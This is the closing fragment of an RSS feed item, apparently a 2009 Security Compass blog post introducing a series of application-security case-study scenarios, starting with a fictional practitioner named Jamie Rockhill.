		<pubDate>Tue, 21 Apr 2009 01:34:02 +0000</pubDate>
		<dc:creator>tom</dc:creator>
		
		<category><![CDATA[security scenarios]]></category>

		<guid isPermaLink="false">/?p=120</guid>
		<description><![CDATA[
So you’ve learned the basics of application security. What happens next? Ongoing education isn’t as clear cut as taking a single course. Nothing beats real world experience, but not everyone has the luxury of time to ramp up on application security experiences.
Security scenarios are modeled after the Harvard Business Review Case Studies  - they’re [...]]]></description>
			<content:encoded><![CDATA[<div class="contentcontainer" style="background: url('/wp-content/uploads/post_thumbs/security_scenarios.jpg') top left no-repeat;">
<p>So you’ve learned the basics of application security. What happens next? Ongoing education isn’t as clear cut as taking a single course. Nothing beats real world experience, but not everyone has the luxury of time to ramp up on application security experiences.</p>
<p>Security scenarios are modeled after the Harvard Business Review Case Studies  - they’re real world scenarios based on actual challenges faced by practitioners on the ground. Each scenario describes a fictional predicament faced by somebody involved in application security. The scenario ends with a challenge: what would you do in this situation? We supplement the scenario with expert opinions from within Security Compass and real world practitioners in industry.</p>
<p>Our first scenario involves Jamie Rockhill – a fictional Manhattan information security information practitioner who faces a growing set of application security threats while battling a severe financial downturn. Our founder Nish Bhalla and SANS instructor Jason lam weigh in with their opinions.</p>
</div>
]]></content:encoded>
			<wfw:commentRss>/index.php/2009/04/20/security-scenarios/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
